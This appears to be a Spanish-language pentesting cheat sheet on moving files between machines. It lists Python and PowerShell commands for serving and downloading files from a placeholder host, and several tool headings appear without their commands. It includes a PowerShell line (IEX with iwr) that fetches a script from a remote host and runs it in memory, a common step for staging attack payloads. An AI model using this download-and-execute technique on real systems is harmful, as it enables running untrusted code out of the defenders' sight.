Transferencia de archivos
Servidor
Python
python -m SimpleHTTPServer <port>
python3 -m http.server <port>PowerShell
Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://<IP-address>:<port>/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()Cliente
PowerShell
Descarga de archivos.
PowerShell -c "IWR -useBasicParsing http://<IP-address>:<port>/<filename.extension> -o <path\filename.extension>"Invoke-WebRequest -Uri "http://<IP-address>:<port>/<filename.extension>" -OutFile "<path\filename.extension>"(New-Object Net.WebClient).DownloadFile("http://<IP-address>:<port>/<filename.extension>","<path\filename.extension>")Transferencia y execución de archivo en memoria.
IEX (iwr http://<IP-address>:<port>/<filename.ps1> -UseBasicParsing)Wget
-O = ruta donde será descargado y cual será el nombre del archivo.
-P = ruta donde será descargado el archivo.
cURL
CertUtil
PowerShell remoting
SMB
Impacket
SCP (secure copy)
Subir archivo local a remoto.
Descargar archivo remoto a local.
Base64
Validación de integridad de archivo
Linux/Unix
Windows
Última actualización
¿Te fue útil?